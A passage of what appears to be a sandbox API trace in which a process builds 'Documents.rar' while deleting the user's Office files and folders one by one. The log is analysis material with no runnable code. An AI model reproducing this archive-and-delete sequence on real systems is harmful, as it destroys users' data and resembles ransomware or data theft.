"c:\\users\\fd1hvy\\documents\\my shapes\\_private")) returned 1 [0087.837] GetWindowTextW (in: hWnd=0x102f8, lpString=0x141a0dbb50, nMaxCount=512 | out: lpString="Creating archive Documents.rar") returned 30 [0087.838] GetDlgItem (hDlg=0x102f8, nIDDlgItem=156) returned 0x102fe [0087.838] GetWindowTextW (in: hWnd=0x102fe, lpString=0x141a0da700, nMaxCount=2560 | out: lpString="") returned 0 [0087.838] SetWindowTextW (hWnd=0x102fe, lpString="Deleting") returned 1 [0087.838] GetDlgItem (hDlg=0x102f8, nIDDlgItem=155) returned 0x10300 [0087.838] GetWindowTextW (in: hWnd=0x10300, lpString=0x141a0da700, nMaxCount=2560 | out: lpString="") returned 0 [0087.838] SetWindowTextW (hWnd=0x10300, lpString="_private") returned 1 [0087.838] GetTickCount () returned 0x2bbc4 [0087.838] GetDlgItem (hDlg=0x102f8, nIDDlgItem=156) returned 0x102fe [0087.839] GetWindowTextW (in: hWnd=0x102fe, lpString=0x141a0dc3b0, nMaxCount=2560 | out: lpString="Deleting") returned 8 [0087.839] SetWindowTextW (hWnd=0x102fe, lpString="") returned 1 [0087.839] GetDlgItem (hDlg=0x102f8, nIDDlgItem=155) returned 0x10300 [0087.839] GetWindowTextW (in: hWnd=0x10300, lpString=0x141a0dc3b0, nMaxCount=2560 | out: lpString="_private") returned 8 [0087.839] SetWindowTextW (hWnd=0x10300, lpString="") returned 1 [0087.839] GetTickCount () returned 0x2bbc4 [0087.839] QueryPerformanceCounter (in: lpPerformanceCount=0x141a0dd700 | out: lpPerformanceCount=0x141a0dd700*=17916782902) returned 1 [0087.839] GetTickCount () returned 0x2bbc4 [0087.839] GetTickCount () returned 0x2bbc4 [0087.839] PeekMessageW (in: lpMsg=0x141a0dd790, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd790) returned 1 [0087.839] GetMessageW (in: lpMsg=0x141a0dd720, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x141a0dd720) returned 1 [0087.839] GetFocus () returned 0x1031c [0087.839] IsDialogMessageW (hDlg=0x102f8, lpMsg=0x141a0dd720) returned 1 [0087.839] DeleteFileW (lpFileName="My Shapes\\Favorites.vssx" (normalized: "c:\\users\\fd1hvy\\documents\\my shapes\\favorites.vssx")) returned 1 [0087.840] GetWindowTextW (in: hWnd=0x102f8, lpString=0x141a0dbb50, nMaxCount=512 | out: lpString="Creating archive Documents.rar") returned 30 [0087.840] GetDlgItem (hDlg=0x102f8, nIDDlgItem=156) returned 0x102fe [0087.840] GetWindowTextW (in: hWnd=0x102fe, lpString=0x141a0da700, nMaxCount=2560 | out: lpString="") returned 0 [0087.840] SetWindowTextW (hWnd=0x102fe, lpString="Deleting") returned 1 [0087.840] GetDlgItem (hDlg=0x102f8, nIDDlgItem=155) returned 0x10300 [0087.840] GetWindowTextW (in: hWnd=0x10300, lpString=0x141a0da700, nMaxCount=2560 | out: lpString="") returned 0 [0087.840] SetWindowTextW (hWnd=0x10300, lpString="Favorites.vssx") returned 1 [0087.841] GetTickCount () returned 0x2bbc4 [0087.841] GetDlgItem (hDlg=0x102f8, nIDDlgItem=156) returned 0x102fe [0087.841] GetWindowTextW (in: hWnd=0x102fe, lpString=0x141a0dc3b0, nMaxCount=2560 | out: lpString="Deleting") returned 8 [0087.841] SetWindowTextW (hWnd=0x102fe, lpString="") returned 1 [0087.841] GetDlgItem (hDlg=0x102f8, nIDDlgItem=155) returned 0x10300 [0087.841] GetWindowTextW (in: hWnd=0x10300, lpString=0x141a0dc3b0, nMaxCount=2560 | out: lpString="Favorites.vssx") returned 14 [0087.841] SetWindowTextW (hWnd=0x10300, lpString="") returned 1 [0087.841] GetTickCount () returned 0x2bbc4 [0087.841] QueryPerformanceCounter (in: lpPerformanceCount=0x141a0dd700 | out: lpPerformanceCount=0x141a0dd700*=17917007099) returned 1 [0087.841] GetTickCount () returned 0x2bbc4 [0087.842] GetTickCount () returned 0x2bbc4 [0087.842] PeekMessageW (in: lpMsg=0x141a0dd790, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd790) returned 0 [0087.842] SetFileAttributesW (lpFileName="My Shapes\\desktop.ini", dwFileAttributes=0x0) returned 1 [0087.842] DeleteFileW (lpFileName="My Shapes\\desktop.ini" (normalized: "c:\\users\\fd1hvy\\documents\\my shapes\\desktop.ini")) returned 1 [0087.843] GetWindowTextW (in: hWnd=0x102f8, lpString=0x141a0dbb50, nMaxCount=512 | out: lpString="Creating archive Documents.rar") returned 30 [0087.843] GetDlgItem (hDlg=0x102f8, nIDDlgItem=156) returned 0x102fe [0087.843] GetWindowTextW (in: hWnd=0x102fe, lpString=0x141a0da700, nMaxCount=2560 | out: lpString="") returned 0 [0087.843] SetWindowTextW (hWnd=0x102fe, lpString="Deleting") returned 1 [0087.843] GetDlgItem (hDlg=0x102f8, nIDDlgItem=155) returned 0x10300 [0087.843] GetWindowTextW (in: hWnd=0x10300, lpString=0x141a0da700, nMaxCount=2560 | out: lpString="") returned 0 [0087.843] SetWindowTextW (hWnd=0x10300, lpString="desktop.ini") returned 1 [0087.844] GetTickCount () returned 0x2bbc4 [0087.844] GetDlgItem (hDlg=0x102f8, nIDDlgItem=156) returned 0x102fe [0087.844] GetWindowTextW (in: hWnd=0x102fe, lpString=0x141a0dc3b0, nMaxCount=2560 | out: lpString="Deleting") returned 8 [0087.844] SetWindowTextW (hWnd=0x102fe, lpString="") returned 1 [0087.844] GetDlgItem (hDlg=0x102f8, nIDDlgItem=155) returned 0x10300 [0087.844] GetWindowTextW (in: hWnd=0x10300, lpString=0x141a0dc3b0, nMaxCount=2560 | out: lpString="desktop.ini") returned 11 [0087.844] SetWindowTextW (hWnd=0x10300, lpString="") returned 1 [0087.844] GetTickCount () returned 0x2bbc4 [0087.844] QueryPerformanceCounter (in: lpPerformanceCount=0x141a0dd700 | out: lpPerformanceCount=0x141a0dd700*=17917294523) returned 1 [0087.844] GetTickCount () returned 0x2bbc4 [0087.844] GetTickCount () returned 0x2bbc4 [0087.844] PeekMessageW (in: lpMsg=0x141a0dd790, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd790) returned 0 [0087.844] SetFileAttributesW (lpFileName="My Shapes", dwFileAttributes=0x0) returned 1 [0087.845] RemoveDirectoryW (lpPathName="My Shapes" (normalized: "c:\\users\\fd1hvy\\documents\\my shapes")) returned 1 [0087.845] GetWindowTextW (in: hWnd=0x102f8, lpString=0x141a0dbb50, nMaxCount=512 | out: lpString="Creating archive Documents.rar") returned 30 [0087.845] GetDlgItem (hDlg=0x102f8, nIDDlgItem=156) returned 0x102fe [0087.845] GetWindowTextW (in: hWnd=0x102fe, lpString=0x141a0da700, nMaxCount=2560 | out: lpString="") returned 0 [0087.845] SetWindowTextW (hWnd=0x102fe, lpString="Deleting") returned 1 [0087.845] GetDlgItem (hDlg=0x102f8, nIDDlgItem=155) returned 0x10300 [0087.845] GetWindowTextW (in: hWnd=0x10300, lpString=0x141a0da700, nMaxCount=2560 | out: lpString="") returned 0 [0087.845] SetWindowTextW (hWnd=0x10300, lpString="My Shapes") returned 1 [0087.846] GetTickCount () returned 0x2bbc4 [0087.846] GetDlgItem (hDlg=0x102f8, nIDDlgItem=156) returned 0x102fe [0087.846] GetWindowTextW (in: hWnd=0x102fe, lpString=0x141a0dc3b0, nMaxCount=2560 | out: lpString="Deleting") returned 8 [0087.846] SetWindowTextW (hWnd=0x102fe, lpString="") returned 1 [0087.846] GetDlgItem (hDlg=0x102f8, nIDDlgItem=155) returned 0x10300 [0087.846] GetWindowTextW (in: hWnd=0x10300, lpString=0x141a0dc3b0, nMaxCount=2560 | out: lpString="My Shapes") returned 9 [0087.846] SetWindowTextW (hWnd=0x10300, lpString="") returned 1 [0087.847] GetTickCount () returned 0x2bbc4 [0087.847] QueryPerformanceCounter (in: lpPerformanceCount=0x141a0dd700 | out: lpPerformanceCount=0x141a0dd700*=17917518306) returned 1 [0087.847] GetTickCount () returned 0x2bbc4 [0087.847] GetTickCount () returned 0x2bbc4 [0087.847] PeekMessageW (in: lpMsg=0x141a0dd790, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd790) returned 0 [0087.847] SetFileAttributesW (lpFileName="My Pictures", dwFileAttributes=0x0) returned 1 [0087.847] RemoveDirectoryW (lpPathName="My Pictures" (normalized: "c:\\users\\fd1hvy\\documents\\my pictures")) returned 1 [0087.847] GetWindowTextW (in: hWnd=0x102f8, lpString=0x141a0dbb50, nMaxCount=512 | out: lpString="Creating archive Documents.rar") returned 30 [0087.847] GetDlgItem (hDlg=0x102f8, nIDDlgItem=156) returned 0x102fe [0087.847] GetWindowTextW (in: hWnd=0x102fe, lpString=0x141a0da700, nMaxCount=2560 | out: lpString="") returned 0 [0087.847] SetWindowTextW (hWnd=0x102fe, lpString="Deleting") returned 1 [0087.848] GetDlgItem (hDlg=0x102f8, nIDDlgItem=155) returned 0x10300 [0087.848] GetWindowTextW (in: hWnd=0x10300, lpString=0x141a0da700, nMaxCount=2560 | out: lpString="") returned 0 [0087.848] SetWindowTextW (hWnd=0x10300, lpString="My Pictures") returned 1 [0087.848] GetTickCount () returned 0x2bbc4 [0087.848] GetDlgItem (hDlg=0x102f8, nIDDlgItem=156) returned 0x102fe [0087.848] GetWindowTextW (in: hWnd=0x102fe, lpString=0x141a0dc3b0, nMaxCount=2560 | out: lpString="Deleting") returned 8 [0087.848] SetWindowTextW (hWnd=0x102fe, lpString="") returned 1 [0087.849] GetDlgItem (hDlg=0x102f8, nIDDlgItem=155) returned 0x10300 [0087.849] GetWindowTextW (in: hWnd=0x10300, lpString=0x141a0dc3b0, nMaxCount=2560 | out: lpString="My Pictures") returned 11 [0087.849] SetWindowTextW (hWnd=0x10300, lpString="") returned 1 [0087.849] GetTickCount () returned 0x2bbc4 [0087.849] QueryPerformanceCounter (in: lpPerformanceCount=0x141a0dd700 | out: lpPerformanceCount=0x141a0dd700*=17917762068) returned 1 [0087.849] GetTickCount () returned 0x2bbc4 [0087.849] GetTickCount () returned 0x2bbc4 [0087.849] PeekMessageW (in: lpMsg=0x141a0dd790, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd790) returned 0 [0087.849] SetFileAttributesW (lpFileName="My Music", dwFileAttributes=0x0) returned 1 [0087.849] RemoveDirectoryW (lpPathName="My Music" (normalized: "c:\\users\\fd1hvy\\documents\\my music")) returned 1 [0087.850] GetWindowTextW (in: hWnd=0x102f8, lpString=0x141a0dbb50, nMaxCount=512 | out: lpString="Creating archive Documents.rar") returned 30 [0087.850] GetDlgItem (hDlg=0x102f8, nIDDlgItem=156) returned 0x102fe [0087.850] GetWindowTextW (in: hWnd=0x102fe, lpString=0x141a0da700, nMaxCount=2560 | out: lpString="") returned 0 [0087.850] SetWindowTextW (hWnd=0x102fe, lpString="Deleting") returned 1 [0087.854] GetDlgItem (hDlg=0x102f8, nIDDlgItem=155) returned 0x10300 [0087.854] GetWindowTextW (in: hWnd=0x10300, lpString=0x141a0da700, nMaxCount=2560 | out: lpString="") returned 0 [0087.854] SetWindowTextW (hWnd=0x10300, lpString="My Music") returned 1 [0087.854] GetTickCount () returned 0x2bbd4 [0087.854] GetDlgItem (hDlg=0x102f8, nIDDlgItem=156) returned 0x102fe [0087.854] GetWindowTextW (in: hWnd=0x102fe, lpString=0x141a0dc3b0, nMaxCount=2560 | out: lpString="Deleting") returned 8 [0087.854] SetWindowTextW (hWnd=0x102fe, lpString="") returned 1 [0087.854] GetDlgItem (hDlg=0x102f8, nIDDlgItem=155) returned 0x10300 [0087.855] GetWindowTextW (in: hWnd=0x10300, lpString=0x141a0dc3b0, nMaxCount=2560 | out: lpString="My Music") returned 8 [0087.855] SetWindowTextW (hWnd=0x10300, lpString="") returned 1 [0087.856] GetTickCount () returned 0x2bbd4 [0087.856] QueryPerformanceCounter (in: lpPerformanceCount=0x141a0dd700 | out: lpPerformanceCount=0x141a0dd700*=17918459191) returned 1 [0087.856] GetTickCount () returned 0x2bbd4 [0087.856] GetTickCount () returned 0x2bbd4 [0087.856] PeekMessageW (in: lpMsg=0x141a0dd790, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd790) returned 0 [0087.856] DeleteFileW (lpFileName="jYH_Ha3VQR8eB_bONWr9.pptx" (normalized: "c:\\users\\fd1hvy\\documents\\jyh_ha3vqr8eb_bonwr9.pptx")) returned 1 [0087.857] GetWindowTextW (in: hWnd=0x102f8, lpString=0x141a0dbb50, nMaxCount=512 | out: lpString="Creating archive Documents.rar") returned 30 [0087.857] GetDlgItem (hDlg=0x102f8, nIDDlgItem=156) returned 0x102fe [0087.857] GetWindowTextW (in: hWnd=0x102fe, lpString=0x141a0da700, nMaxCount=2560 | out: lpString="") returned 0 [0087.857] SetWindowTextW (hWnd=0x102fe, lpString="Deleting") returned 1 [0087.858] GetDlgItem (hDlg=0x102f8, nIDDlgItem=155) returned 0x10300 [0087.858] GetWindowTextW (in: hWnd=0x10300, lpString=0x141a0da700, nMaxCount=2560 | out: lpString="") returned 0 [0087.858] SetWindowTextW (hWnd=0x10300, lpString="jYH_Ha3VQR8eB_bONWr9.pptx") returned 1 [0087.858] GetTickCount () returned 0x2bbd4 [0087.858] GetDlgItem (hDlg=0x102f8, nIDDlgItem=156) returned 0x102fe [0087.858] GetWindowTextW (in: hWnd=0x102fe, lpString=0x141a0dc3b0, nMaxCount=2560 | out: lpString="Deleting") returned 8 [0087.858] SetWindowTextW (hWnd=0x102fe, lpString="") returned 1 [0087.859] GetDlgItem (hDlg=0x102f8, nIDDlgItem=155) returned 0x10300 [0087.859] GetWindowTextW (in: hWnd=0x10300, lpString=0x141a0dc3b0, nMaxCount=2560 | out: lpString="jYH_Ha3VQR8eB_bONWr9.pptx") returned 25 [0087.859] SetWindowTextW (hWnd=0x10300, lpString="") returned 1 [0087.859] GetTickCount () returned 0x2bbd4 [0087.859] QueryPerformanceCounter (in: lpPerformanceCount=0x141a0dd700 | out: lpPerformanceCount=0x141a0dd700*=17918767603) returned 1 [0087.859] GetTickCount () returned 0x2bbd4 [0087.859] GetTickCount () returned 0x2bbd4 [0087.859] PeekMessageW (in: lpMsg=0x141a0dd790, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd790) returned 0 [0087.859] DeleteFileW (lpFileName="g9y9 K 4j.pptx" (normalized: "c:\\users\\fd1hvy\\documents\\g9y9 k 4j.pptx")) returned 1 [0087.860] GetWindowTextW (in: hWnd=0x102f8, lpString=0x141a0dbb50, nMaxCount=512 | out: lpString="Creating archive Documents.rar") returned 30 [0087.860] GetDlgItem (hDlg=0x102f8, nIDDlgItem=156) returned 0x102fe [0087.861] GetWindowTextW (in: hWnd=0x102fe, lpString=0x141a0da700, nMaxCount=2560 | out: lpString="") returned 0 [0087.861] SetWindowTextW (hWnd=0x102fe, lpString="Deleting") returned 1 [0087.861] GetDlgItem (hDlg=0x102f8, nIDDlgItem=155) returned 0x10300 [0087.861] GetWindowTextW (in: hWnd=0x10300, lpString=0x141a0da700, nMaxCount=2560 | out: lpString="") returned 0 [0087.861] SetWindowTextW (hWnd=0x10300, lpString="g9y9 K 4j.pptx") returned 1 [0087.861] GetTickCount () returned 0x2bbd4 [0087.861] GetDlgItem (hDlg=0x102f8, nIDDlgItem=156) returned 0x102fe [0087.861] GetWindowTextW (in: hWnd=0x102fe, lpString=0x141a0dc3b0, nMaxCount=2560 | out: lpString="Deleting") returned 8 [0087.861] SetWindowTextW (hWnd=0x102fe, lpString="") returned 1 [0087.862] GetDlgItem (hDlg=0x102f8, nIDDlgItem=155) returned 0x10300 [0087.862] GetWindowTextW (in: hWnd=0x10300, lpString=0x141a0dc3b0, nMaxCount=2560 | out: lpString="g9y9 K 4j.pptx") returned 14 [0087.862] SetWindowTextW (hWnd=0x10300, lpString="") returned 1 [0087.862] GetTickCount () returned 0x2bbd4 [0087.862] QueryPerformanceCounter (in: lpPerformanceCount=0x141a0dd700 | out: lpPerformanceCount=0x141a0dd700*=17919073266) returned 1 [0087.862] GetTickCount () returned 0x2bbd4 [0087.862] GetTickCount () returned 0x2bbd4 [0087.862] PeekMessageW (in: lpMsg=0x141a0dd790, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd790) returned 0 [0087.862] DeleteFileW (lpFileName="FoGmW sbJbVrE-.pptx" (normalized: "c:\\users\\fd1hvy\\documents\\fogmw sbjbvre-.pptx")) returned 1 [0087.863] GetWindowTextW (in: hWnd=0x102f8, lpString=0x141a0dbb50, nMaxCount=512 | out: lpString="Creating archive Documents.rar") returned 30 [0087.863] GetDlgItem (hDlg=0x102f8, nIDDlgItem=156) returned 0x102fe [0087.863] GetWindowTextW (in: hWnd=0x102fe, lpString=0x141a0da700, nMaxCount=2560 | out: lpString="") returned 0 [0087.863] SetWindowTextW (hWnd=0x102fe, lpString="Deleting") returned 1 [0087.864] GetDlgItem (hDlg=0x102f8, nIDDlgItem=155) returned 0x10300 [0087.864] GetWindowTextW (in: hWnd=0x10300, lpString=0x141a0da700, nMaxCount=2560 | out: lpString="") returned 0 [0087.864] SetWindowTextW (hWnd=0x10300, lpString="FoGmW sbJbVrE-.pptx") returned 1 [0087.864] GetTickCount () returned 0x2bbd4 [0087.864] GetDlgItem (hDlg=0x102f8, nIDDlgItem=156) returned 0x102fe [0087.864] GetWindowTextW (in: hWnd=0x102fe, lpString=0x141a0dc3b0, nMaxCount=2560 | out: lpString="Deleting") returned 8 [0087.864] SetWindowTextW (hWnd=0x102fe, lpString="") returned 1 [0087.864] GetDlgItem (hDlg=0x102f8, nIDDlgItem=155) returned 0x10300 [0087.864] GetWindowTextW (in: hWnd=0x10300, lpString=0x141a0dc3b0, nMaxCount=2560 | out: lpString="FoGmW sbJbVrE-.pptx") returned 19 [0087.865] SetWindowTextW (hWnd=0x10300, lpString="") returned 1 [0087.865] GetTickCount () returned 0x2bbd4 [0087.865] QueryPerformanceCounter (in: lpPerformanceCount=0x141a0dd700 | out: lpPerformanceCount=0x141a0dd700*=17919345699) returned 1 [0087.865] GetTickCount () returned 0x2bbd4 [0087.865] GetTickCount () returned 0x2bbd4 [0087.865] PeekMessageW (in: lpMsg=0x141a0dd790, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd790) returned 0 [0087.865] DeleteFileW (lpFileName="eBvOtmtGs9oVXiPynY.xlsx" (normalized: "c:\\users\\fd1hvy\\documents\\ebvotmtgs9ovxipyny.xlsx")) returned 1 [0087.866] GetWindowTextW (in: hWnd=0x102f8, lpString=0x141a0dbb50, nMaxCount=512 | out: lpString="Creating archive Documents.rar") returned 30 [0087.866] GetDlgItem (hDlg=0x102f8, nIDDlgItem=156) returned 0x102fe [0087.866] GetWindowTextW (in: hWnd=0x102fe, lpString=0x141a0da700, nMaxCount=2560 | out: lpString="") returned 0 [0087.866] SetWindowTextW (hWnd=0x102fe, lpString="Deleting") returned 1 [0087.867] GetDlgItem (hDlg=0x102f8, nIDDlgItem=155) returned 0x10300 [0087.867] GetWindowTextW (in: hWnd=0x10300, lpString=0x141a0da700, nMaxCount=2560 | out: lpString="") returned 0 [0087.867] SetWindowTextW (hWnd=0x10300, lpString="eBvOtmtGs9oVXiPynY.xlsx") returned 1 [0087.867] GetTickCount () returned 0x2bbe3 [0087.867] UpdateWindow (hWnd=0x102f8) returned 1 [0087.867] GetDlgItem (hDlg=0x102f8, nIDDlgItem=156) returned 0x102fe [0087.867] GetWindowTextW (in: hWnd=0x102fe, lpString=0x141a0dc3b0, nMaxCount=2560 | out: lpString="Deleting") returned 8 [0087.867] SetWindowTextW (hWnd=0x102fe, lpString="") returned 1 [0087.868] GetDlgItem (hDlg=0x102f8, nIDDlgItem=155) returned 0x10300 [0087.868] GetWindowTextW (in: hWnd=0x10300, lpString=0x141a0dc3b0, nMaxCount=2560 | out: lpString="eBvOtmtGs9oVXiPynY.xlsx") returned 23 [0087.868] SetWindowTextW (hWnd=0x10300, lpString="") returned 1 [0087.868] GetTickCount () returned 0x2bbe3 [0087.868] QueryPerformanceCounter (in: lpPerformanceCount=0x141a0dd700 | out: lpPerformanceCount=0x141a0dd700*=17919659472) returned 1 [0087.868] GetTickCount () returned 0x2bbe3 [0087.868] GetTickCount () returned 0x2bbe3 [0087.868] PeekMessageW (in: lpMsg=0x141a0dd790, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd790) returned 1 [0087.868] GetMessageW (in: lpMsg=0x141a0dd720, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x141a0dd720) returned 1 [0087.868] GetFocus () returned 0x1031c [0087.868] IsDialogMessageW (hDlg=0x102f8, lpMsg=0x141a0dd720) returned 1 [0087.868] SetFileAttributesW (lpFileName="desktop.ini", dwFileAttributes=0x0) returned 1 [0087.869] DeleteFileW (lpFileName="desktop.ini" (normalized: "c:\\users\\fd1hvy\\documents\\desktop.ini")) returned 1 [0087.869] GetWindowTextW (in: hWnd=0x102f8, lpString=0x141a0dbb50, nMaxCount=512 | out: lpString="Creating archive Documents.rar") returned 30 [0087.869] GetDlgItem (hDlg=0x102f8, nIDDlgItem=156) returned 0x102fe [0087.869] GetWindowTextW (in: hWnd=0x102fe, lpString=0x141a0da700, nMaxCount=2560 | out: lpString="") returned 0 [0087.870] SetWindowTextW (hWnd=0x102fe, lpString="Deleting") returned 1 [0087.870] GetDlgItem (hDlg=0x102f8, nIDDlgItem=155) returned 0x10300 [0087.870] GetWindowTextW (in: hWnd=0x10300, lpString=0x141a0da700, nMaxCount=2560 | out: lpString="") returned 0 [0087.870] SetWindowTextW (hWnd=0x10300, lpString="desktop.ini") returned 1 [0087.870] GetTickCount () returned 0x2bbe3 [0087.870] GetDlgItem (hDlg=0x102f8, nIDDlgItem=156) returned 0x102fe [0087.870] GetWindowTextW (in: hWnd=0x102fe, lpString=0x141a0dc3b0, nMaxCount=2560 | out: lpString="Deleting") returned 8 [0087.870] SetWindowTextW (hWnd=0x102fe, lpString="") returned 1 [0087.871] GetDlgItem (hDlg=0x102f8, nIDDlgItem=155) returned 0x10300 [0087.871] GetWindowTextW (in: hWnd=0x10300, lpString=0x141a0dc3b0, nMaxCount=2560 | out: lpString="desktop.ini") returned 11 [0087.871] SetWindowTextW (hWnd=0x10300, lpString="") returned 1 [0087.871] GetTickCount () returned 0x2bbe3 [0087.871] QueryPerformanceCounter (in: lpPerformanceCount=0x141a0dd700 | out: lpPerformanceCount=0x141a0dd700*=17919972662) returned 1 [0087.871] GetTickCount () returned 0x2bbe3 [0087.871] GetTickCount () returned 0x2bbe3 [0087.871] PeekMessageW (in: lpMsg=0x141a0dd790, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd790) returned 1 [0087.871] GetMessageW (in: lpMsg=0x141a0dd720, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x141a0dd720) returned 1 [0087.871] GetFocus () returned 0x1031c [0087.871] IsDialogMessageW (hDlg=0x102f8, lpMsg=0x141a0dd720) returned 1 [0087.872] PeekMessageW (in: lpMsg=0x141a0dd7f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd7f0) returned 0 [0087.872] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0087.872] DeleteFileW (lpFileName="Database1.accdb" (normalized: "c:\\users\\fd1hvy\\documents\\database1.accdb")) returned 1 [0087.886] GetWindowTextW (in: hWnd=0x102f8, lpString=0x141a0dbb50, nMaxCount=512 | out: lpString="Creating archive Documents.rar") returned 30 [0087.886] GetDlgItem (hDlg=0x102f8, nIDDlgItem=156) returned 0x102fe [0087.886] GetWindowTextW (in: hWnd=0x102fe, lpString=0x141a0da700, nMaxCount=2560 | out: lpString="") returned 0 [0087.886] SetWindowTextW (hWnd=0x102fe, lpString="Deleting") returned 1 [0087.887] GetDlgItem (hDlg=0x102f8, nIDDlgItem=155) returned 0x10300 [0087.887] GetWindowTextW (in: hWnd=0x10300, lpString=0x141a0da700, nMaxCount=2560 | out: lpString="") returned 0 [0087.887] SetWindowTextW (hWnd=0x10300, lpString="Database1.accdb") returned 1 [0087.887] GetTickCount () returned 0x2bbf3 [0087.887] GetDlgItem (hDlg=0x102f8, nIDDlgItem=156) returned 0x102fe [0087.887] GetWindowTextW (in: hWnd=0x102fe, lpString=0x141a0dc3b0, nMaxCount=2560 | out: lpString="Deleting") returned 8 [0087.887] SetWindowTextW (hWnd=0x102fe, lpString="") returned 1 [0087.888] GetDlgItem (hDlg=0x102f8, nIDDlgItem=155) returned 0x10300 [0087.888] GetWindowTextW (in: hWnd=0x10300, lpString=0x141a0dc3b0, nMaxCount=2560 | out: lpString="Database1.accdb") returned 15 [0087.888] SetWindowTextW (hWnd=0x10300, lpString="") returned 1 [0087.888] GetTickCount () returned 0x2bbf3 [0087.888] GetLastError () returned 0x0 [0087.888] SetLastError (dwErrCode=0x0) [0087.888] GetDlgItem (hDlg=0x102f8, nIDDlgItem=158) returned 0x10304 [0087.888] GetDlgItem (hDlg=0x102f8, nIDDlgItem=153) returned 0x10302 [0087.888] GetWindowTextW (in: hWnd=0x10302, lpString=0x141a0dbe80, nMaxCount=2560 | out: lpString=" 18%") returned 5 [0087.888] SetWindowTextW (hWnd=0x10302, lpString=" 35%") returned 1 [0087.889] SendMessageW (hWnd=0x10304, Msg=0x402, wParam=0x23, lParam=0x0) returned 0x12 [0087.889] QueryPerformanceCounter (in: lpPerformanceCount=0x141a0dd700 | out: lpPerformanceCount=0x141a0dd700*=17921738478) returned 1 [0087.889] GetTickCount () returned 0x2bbf3 [0087.889] GetTickCount () returned 0x2bbf3 [0087.889] PeekMessageW (in: lpMsg=0x141a0dd790, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd790) returned 1 [0087.889] GetMessageW (in: lpMsg=0x141a0dd720, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x141a0dd720) returned 1 [0087.889] GetFocus () returned 0x1031c [0087.889] IsDialogMessageW (hDlg=0x102f8, lpMsg=0x141a0dd720) returned 1 [0087.891] DeleteFileW (lpFileName="d8N7eT8cGeAbq0mZ CKY.xlsx" (normalized: "c:\\users\\fd1hvy\\documents\\d8n7et8cgeabq0mz cky.xlsx")) returned 1 [0087.892] GetWindowTextW (in: hWnd=0x102f8, lpString=0x141a0dbb50, nMaxCount=512 | out: lpString="Creating archive Documents.rar") returned 30 [0087.892] GetDlgItem (hDlg=0x102f8, nIDDlgItem=156) returned 0x102fe [0087.892] GetWindowTextW (in: hWnd=0x102fe, lpString=0x141a0da700, nMaxCount=2560 | out: lpString="") returned 0 [0087.892] SetWindowTextW (hWnd=0x102fe, lpString="Deleting") returned 1 [0087.893] GetDlgItem (hDlg=0x102f8, nIDDlgItem=155) returned 0x10300 [0087.893] GetWindowTextW (in: hWnd=0x10300, lpString=0x141a0da700, nMaxCount=2560 | out: lpString="") returned 0 [0087.893] SetWindowTextW (hWnd=0x10300, lpString="d8N7eT8cGeAbq0mZ CKY.xlsx") returned 1 [0087.893] GetTickCount () returned 0x2bbf3 [0087.893] GetDlgItem (hDlg=0x102f8, nIDDlgItem=156) returned 0x102fe [0087.893] GetWindowTextW (in: hWnd=0x102fe, lpString=0x141a0dc3b0, nMaxCount=2560 | out: lpString="Deleting") returned 8 [0087.893] SetWindowTextW (hWnd=0x102fe, lpString="") returned 1 [0087.893] GetDlgItem (hDlg=0x102f8, nIDDlgItem=155) returned 0x10300 [0087.893] GetWindowTextW (in: hWnd=0x10300, lpString=0x141a0dc3b0, nMaxCount=2560 | out: lpString="d8N7eT8cGeAbq0mZ CKY.xlsx") returned 25 [0087.893] SetWindowTextW (hWnd=0x10300, lpString="") returned 1 [0087.894] GetTickCount () returned 0x2bbf3 [0087.894] QueryPerformanceCounter (in: lpPerformanceCount=0x141a0dd700 | out: lpPerformanceCount=0x141a0dd700*=17922235545) returned 1 [0087.894] GetTickCount () returned 0x2bbf3 [0087.894] GetTickCount () returned 0x2bbf3 [0087.894] PeekMessageW (in: lpMsg=0x141a0dd790, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd790) returned 1 [0087.894] GetMessageW (in: lpMsg=0x141a0dd720, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x141a0dd720) returned 1 [0087.894] GetFocus () returned 0x1031c [0087.894] IsDialogMessageW (hDlg=0x102f8, lpMsg=0x141a0dd720) returned 1 [0087.894] DeleteFileW (lpFileName="9EMbKuPh551l7_WJZv\\WKv89hDvOzA.pptx" (normalized: "c:\\users\\fd1hvy\\documents\\9embkuph551l7_wjzv\\wkv89hdvoza.pptx")) returned 1 [0087.895] GetWindowTextW (in: hWnd=0x102f8, lpString=0x141a0dbb50, nMaxCount=512 | out: lpString="Creating archive 